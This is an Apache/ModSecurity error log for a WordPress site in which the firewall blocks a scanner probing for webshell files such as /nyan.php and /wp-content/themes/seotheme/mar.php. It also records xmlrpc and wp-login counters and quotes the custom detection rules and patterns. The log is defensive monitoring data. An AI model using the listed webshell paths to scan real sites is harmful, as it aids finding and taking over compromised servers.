[Thu Feb 05 16:15:55.329804 2026] [:error] [pid 31775:tid 31813] [client 167.172.79.172:14090] [client 167.172.79.172] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.79.172, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYRRuxNlTj92HTKsJN3SvwAAAQg"]
[Thu Feb 05 16:16:03.031800 2026] [:error] [pid 31775:tid 31808] [client 129.226.82.190:60094] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYRRwxNlTj92HTKsJN3S8gAAAQM"]
[Thu Feb 05 16:49:05.303443 2026] [:error] [pid 31775:tid 31806] [client 20.122.171.170:43752] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Update/f35.php"] [unique_id "aYRZgRNlTj92HTKsJN3dYwAAAQE"]
[Thu Feb 05 16:49:06.170840 2026] [:error] [pid 31775:tid 31814] [client 20.122.171.170:7638] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Update/f35.php"] [unique_id "aYRZghNlTj92HTKsJN3dZAAAAQk"]
[Thu Feb 05 16:49:10.525228 2026] [:error] [pid 31775:tid 31823] [client 20.122.171.170:47296] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Update/f35.php"] [unique_id "aYRZhhNlTj92HTKsJN3dZwAAARI"]
[Thu Feb 05 16:49:14.457739 2026] [:error] [pid 31775:tid 31807] [client 20.122.171.170:47330] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Update/f35.php"] [unique_id "aYRZihNlTj92HTKsJN3dcwAAAQI"]
[Thu Feb 05 16:49:16.291431 2026] [:error] [pid 31774:tid 31780] [client 20.122.171.170:42212] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aYRZjKjDlLg1NOhSOXUA_AAAAII"]
[Thu Feb 05 16:49:17.283585 2026] [:error] [pid 31833:tid 31839] [client 20.122.171.170:42225] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aYRZjRzypZt5yekRAkEt8gAAAYQ"]
[Thu Feb 05 16:49:18.917021 2026] [:error] [pid 31833:tid 31853] [client 20.122.171.170:7640] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aYRZjhzypZt5yekRAkEt9AAAAZI"]
[Thu Feb 05 16:49:23.202685 2026] [:error] [pid 33396:tid 33410] [client 20.122.171.170:44736] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/la.php"] [unique_id "aYRZk_Tgp_Ev6LiSSgCeJwAAAMc"]
[Thu Feb 05 16:49:24.917309 2026] [:error] [pid 31775:tid 31823] [client 20.122.171.170:42234] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Wp-good.php"] [unique_id "aYRZlBNlTj92HTKsJN3dfgAAARI"]
[Thu Feb 05 16:49:25.489117 2026] [:error] [pid 31775:tid 31825] [client 20.122.171.170:42769] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Wp-good.php"] [unique_id "aYRZlRNlTj92HTKsJN3dfwAAARQ"]
[Thu Feb 05 16:49:26.366554 2026] [:error] [pid 31774:tid 31784] [client 20.122.171.170:7632] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Wp-good.php"] [unique_id "aYRZlqjDlLg1NOhSOXUBAwAAAIY"]
[Thu Feb 05 16:49:29.165399 2026] [:error] [pid 31775:tid 31822] [client 20.122.171.170:42207] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Wp-good.php"] [unique_id "aYRZmRNlTj92HTKsJN3dhAAAARE"]
[Thu Feb 05 16:49:29.814001 2026] [:error] [pid 31833:tid 31849] [client 20.122.171.170:42178] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tphp.php"] [unique_id "aYRZmRzypZt5yekRAkEt_wAAAY4"]
[Thu Feb 05 16:49:31.448829 2026] [:error] [pid 31833:tid 31852] [client 20.122.171.170:42222] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tphp.php"] [unique_id "aYRZmxzypZt5yekRAkEuAAAAAZE"]
[Thu Feb 05 16:49:32.942148 2026] [:error] [pid 31774:tid 31780] [client 20.122.171.170:42753] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tphp.php"] [unique_id "aYRZnKjDlLg1NOhSOXUBBQAAAII"]
[Thu Feb 05 16:49:34.150679 2026] [:error] [pid 31774:tid 31781] [client 20.122.171.170:7645] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tphp.php"] [unique_id "aYRZnqjDlLg1NOhSOXUBBgAAAIM"]
[Thu Feb 05 16:49:35.730658 2026] [:error] [pid 31833:tid 31859] [client 20.122.171.170:7669] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aYRZnxzypZt5yekRAkEuDAAAAZg"]
[Thu Feb 05 16:49:36.512758 2026] [:error] [pid 31739:tid 31754] [client 20.122.171.170:7651] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aYRZoAGrHl_5BvMstJKuQgAAAA0"]
[Thu Feb 05 16:49:37.770161 2026] [:error] [pid 33396:tid 33416] [client 20.122.171.170:40757] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aYRZofTgp_Ev6LiSSgCeMAAAAM0"]
[Thu Feb 05 16:49:39.682870 2026] [:error] [pid 33122:tid 33140] [client 20.122.171.170:56001] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "aYRZo_W0IebAnFB9KDD8UwAAAFA"]
[Thu Feb 05 16:49:42.157192 2026] [:error] [pid 31774:tid 31782] [client 20.122.171.170:56015] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nyan.php"] [unique_id "aYRZpqjDlLg1NOhSOXUBCwAAAIQ"]
[Thu Feb 05 16:49:43.177883 2026] [:error] [pid 33122:tid 33133] [client 20.122.171.170:56007] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nyan.php"] [unique_id "aYRZp_W0IebAnFB9KDD8VwAAAEk"]
[Thu Feb 05 16:49:46.636284 2026] [:error] [pid 31775:tid 31814] [client 20.122.171.170:7763] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nyan.php"] [unique_id "aYRZqhNlTj92HTKsJN3djwAAAQk"]
[Thu Feb 05 16:49:47.694120 2026] [:error] [pid 31833:tid 31859] [client 20.122.171.170:37228] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nyan.php"] [unique_id "aYRZqxzypZt5yekRAkEuLQAAAZg"]
[Thu Feb 05 16:49:51.592502 2026] [:error] [pid 31739:tid 31742] [client 20.122.171.170:37244] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aYRZrwGrHl_5BvMstJKubwAAAAE"]
[Thu Feb 05 16:49:56.883858 2026] [:error] [pid 31775:tid 31806] [client 20.122.171.170:44215] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aYRZtBNlTj92HTKsJN3dpgAAAQE"]
[Thu Feb 05 16:49:57.731716 2026] [:error] [pid 31775:tid 31805] [client 20.122.171.170:56032] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/autoload_classmap.php"] [unique_id "aYRZtRNlTj92HTKsJN3dpwAAAQA"]
[Thu Feb 05 16:50:07.689141 2026] [:error] [pid 33122:tid 33132] [client 20.122.171.170:44171] [client 20.122.171.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aYRZv_W0IebAnFB9KDD8kwAAAEg"]
[Thu Feb 05 16:50:21.725458 2026] [:error] [pid 31775:tid 31829] [client 20.122.171.170:7764] [client 20.122.171.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.122.171.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYRZzRNlTj92HTKsJN3dtgAAARg"]
[Thu Feb 05 16:50:22.965220 2026] [:error] [pid 31739:tid 31745] [client 20.122.171.170:47829] [client 20.122.171.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/about.php"] [unique_id "aYRZzgGrHl_5BvMstJKuigAAAAQ"]
[Thu Feb 05 16:50:37.752364 2026] [:error] [pid 31774:tid 31789] [client 20.122.171.170:46022] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "aYRZ3ajDlLg1NOhSOXUBTAAAAIs"]
[Thu Feb 05 16:50:48.361405 2026] [:error] [pid 33396:tid 33403] [client 20.122.171.170:8036] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "aYRZ6PTgp_Ev6LiSSgCejgAAAMA"]
[Thu Feb 05 16:50:50.765790 2026] [:error] [pid 33396:tid 33415] [client 20.122.171.170:37807] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "aYRZ6vTgp_Ev6LiSSgCekgAAAMw"]
[Thu Feb 05 16:50:51.930610 2026] [:error] [pid 31775:tid 31829] [client 20.122.171.170:48410] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/install.php"] [unique_id "aYRZ6xNlTj92HTKsJN3dvgAAARg"]
[Thu Feb 05 16:50:55.166198 2026] [:error] [pid 31739:tid 31744] [client 20.122.171.170:48432] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aYRZ7wGrHl_5BvMstJKuqAAAAAM"]
[Thu Feb 05 16:50:57.022610 2026] [:error] [pid 31833:tid 31848] [client 20.122.171.170:49138] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aYRZ8RzypZt5yekRAkEubgAAAY0"]
[Thu Feb 05 16:51:00.095068 2026] [:error] [pid 31739:tid 31741] [client 20.122.171.170:37822] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aYRZ9AGrHl_5BvMstJKuqQAAAAA"]
[Thu Feb 05 16:51:06.763097 2026] [:error] [pid 31774:tid 31792] [client 20.122.171.170:8041] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aYRZ-qjDlLg1NOhSOXUBUAAAAI4"]
[Thu Feb 05 16:51:07.763144 2026] [:error] [pid 31774:tid 31796] [client 20.122.171.170:49134] [client 20.122.171.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aYRZ-6jDlLg1NOhSOXUBUQAAAJI"]
[Thu Feb 05 16:51:09.779403 2026] [:error] [pid 31739:tid 31747] [client 20.122.171.170:8015] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aYRZ_QGrHl_5BvMstJKurwAAAAY"]
[Thu Feb 05 16:51:11.189301 2026] [:error] [pid 31774:tid 31788] [client 20.122.171.170:48394] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aYRZ_6jDlLg1NOhSOXUBVgAAAIo"]
[Thu Feb 05 16:51:12.083489 2026] [:error] [pid 31774:tid 31790] [client 20.122.171.170:37772] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aYRaAKjDlLg1NOhSOXUBVwAAAIw"]
[Thu Feb 05 16:51:14.189639 2026] [:error] [pid 31775:tid 31829] [client 20.122.171.170:40777] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aYRaAhNlTj92HTKsJN3d1AAAARg"]
[Thu Feb 05 16:51:15.273448 2026] [:error] [pid 14577:tid 14598] [client 20.122.171.170:48433] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/f/"] [unique_id "aYRaA5ZbKwRdMc_HlgJL-wAAAVM"]
[Thu Feb 05 16:51:16.510692 2026] [:error] [pid 31774:tid 31778] [client 20.122.171.170:7439] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/f/"] [unique_id "aYRaBKjDlLg1NOhSOXUBWQAAAIA"]
[Thu Feb 05 16:51:17.943948 2026] [:error] [pid 31774:tid 31801] [client 20.122.171.170:41344] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/f/"] [unique_id "aYRaBajDlLg1NOhSOXUBWgAAAJc"]
[Thu Feb 05 16:51:21.123370 2026] [:error] [pid 33396:tid 33415] [client 20.122.171.170:7857] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/f/"] [unique_id "aYRaCfTgp_Ev6LiSSgCengAAAMw"]
[Thu Feb 05 16:51:23.954060 2026] [:error] [pid 33396:tid 33427] [client 20.122.171.170:7430] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aYRaC_Tgp_Ev6LiSSgCeowAAANg"]
[Thu Feb 05 16:51:25.614750 2026] [:error] [pid 33396:tid 33405] [client 20.122.171.170:7482] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aYRaDfTgp_Ev6LiSSgCepgAAAMI"]
[Thu Feb 05 16:51:26.352577 2026] [:error] [pid 31833:tid 31838] [client 20.122.171.170:50425] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aYRaDhzypZt5yekRAkEueAAAAYM"]
[Thu Feb 05 16:51:28.762768 2026] [:error] [pid 33396:tid 33415] [client 20.122.171.170:51868] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aYRaEPTgp_Ev6LiSSgCeqwAAAMw"]
[Thu Feb 05 16:51:33.096720 2026] [:error] [pid 31739:tid 31741] [client 20.122.171.170:7467] [client 20.122.171.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/index.php"] [unique_id "aYRaFQGrHl_5BvMstJKutwAAAAA"]
[Thu Feb 05 16:51:33.959383 2026] [:error] [pid 31774:tid 31778] [client 20.122.171.170:7471] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYRaFajDlLg1NOhSOXUBZQAAAIA"]
[Thu Feb 05 16:51:34.692895 2026] [:error] [pid 14577:tid 14589] [client 20.122.171.170:51892] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYRaFpZbKwRdMc_HlgJMDQAAAUo"]
